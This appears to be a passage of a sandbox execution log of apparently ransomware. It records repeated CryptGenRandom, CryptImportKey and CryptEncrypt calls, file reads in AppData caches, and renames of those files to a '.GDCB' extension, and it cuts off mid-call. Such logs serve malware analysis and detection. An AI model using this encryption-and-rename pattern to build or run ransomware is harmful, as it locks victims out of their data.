(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.053] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.053] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.053] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0296.057] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.060] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.061] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.061] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0296.064] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67abf30) returned 1 [0296.064] CryptGetKeyParam (in: hKey=0x67abf30, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.064] CryptEncrypt (in: hKey=0x67abf30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd820000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd820000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.064] GetLastError () returned 0x0 [0296.064] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.064] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0296.066] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67abf70) returned 1 [0296.067] CryptGetKeyParam (in: hKey=0x67abf70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.067] CryptEncrypt (in: hKey=0x67abf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd830000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd830000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.067] GetLastError () returned 0x0 [0296.067] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.067] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.105] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0296.109] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.112] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.112] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.112] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.112] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0296.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.127] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.127] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.127] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0296.130] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac130) returned 1 [0296.130] CryptGetKeyParam (in: hKey=0x67ac130, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.130] CryptEncrypt (in: hKey=0x67ac130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd840000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd840000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.130] GetLastError () returned 0x0 [0296.130] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.130] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0296.133] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac1f0) returned 1 [0296.133] CryptGetKeyParam (in: hKey=0x67ac1f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.133] CryptEncrypt (in: hKey=0x67ac1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd850000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd850000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.133] GetLastError () returned 0x0 [0296.133] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.176] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0296.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.183] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0296.183] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.183] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0296.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.190] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0296.190] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.191] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.193] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac330) returned 1 [0296.193] CryptGetKeyParam (in: hKey=0x67ac330, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.193] CryptEncrypt (in: hKey=0x67ac330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0296.193] GetLastError () returned 0x0 [0296.193] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.193] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.195] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac6f0) returned 1 [0296.195] CryptGetKeyParam (in: hKey=0x67ac6f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.195] CryptEncrypt (in: hKey=0x67ac6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0296.196] GetLastError () returned 0x0 [0296.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.196] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0296.197] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd880000 [0296.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd890000 [0296.203] ReadFile (in: hFile=0x504, lpBuffer=0xd890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd890000*, lpNumberOfBytesRead=0x285de08*=0x710, lpOverlapped=0x0) returned 1 [0296.212] VirtualAlloc (lpAddress=0x0, dwSize=0x710, flAllocationType=0x3000, flProtect=0x4) returned 0xd9a0000 [0296.219] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri.gdcb")) returned 1 [0296.225] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0296.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.232] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0296.232] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.232] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0296.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.238] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0296.238] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.239] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.241] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac470) returned 1 [0296.242] CryptGetKeyParam (in: hKey=0x67ac470, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.242] CryptEncrypt (in: hKey=0x67ac470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0296.242] GetLastError () returned 0x0 [0296.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.242] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0296.244] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac6b0) returned 1 [0296.244] CryptGetKeyParam (in: hKey=0x67ac6b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.244] CryptEncrypt (in: hKey=0x67ac6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0296.245] GetLastError () returned 0x0 [0296.245] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.245] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0296.246] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd880000 [0296.249] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd890000 [0296.252] ReadFile (in: hFile=0x504, lpBuffer=0xd890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd890000*, lpNumberOfBytesRead=0x285de08*=0x21e0, lpOverlapped=0x0) returned 1 [0296.260] VirtualAlloc (lpAddress=0x0, dwSize=0x21e0, flAllocationType=0x3000, flProtect=0x4) returned 0xd9a0000 [0296.267] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri.gdcb")) returned 1 [0296.273] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0296.276] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.279] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0296.279] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.279] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0296.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.285] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0296.285] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.286] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0296.288] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac430) returned 1 [0296.288] CryptGetKeyParam (in: hKey=0x67ac430, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.288] CryptEncrypt (in: hKey=0x67ac430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0296.289] GetLastError () returned 0x0 [0296.289] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.289] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.291] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac7f0) returned 1 [0296.291] CryptGetKeyParam (in: hKey=0x67ac7f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.291] CryptEncrypt (in: hKey=0x67ac7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0296.291] GetLastError () returned 0x0 [0296.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.291] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0296.292] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd880000 [0296.296] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd890000 [0296.299] ReadFile (in: hFile=0x504, lpBuffer=0xd890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd890000*, lpNumberOfBytesRead=0x285de08*=0xde0, lpOverlapped=0x0) returned 1 [0296.307] VirtualAlloc (lpAddress=0x0, dwSize=0xde0, flAllocationType=0x3000, flProtect=0x4) returned 0xd9a0000 [0296.314] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri.gdcb")) returned 1 [0296.322] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0296.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.329] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0296.329] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.329] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0296.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.335] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.335] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0296.335] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.336] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.339] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac5f0) returned 1 [0296.339] CryptGetKeyParam (in: hKey=0x67ac5f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.339] CryptEncrypt (in: hKey=0x67ac5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0296.339] GetLastError () returned 0x0 [0296.339] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.339] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0296.341] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac230) returned 1 [0296.341] CryptGetKeyParam (in: hKey=0x67ac230, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.341] CryptEncrypt (in: hKey=0x67ac230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0296.342] GetLastError () returned 0x0 [0296.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.342] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0296.343] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd880000 [0296.347] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd890000 [0296.350] ReadFile (in: hFile=0x504, 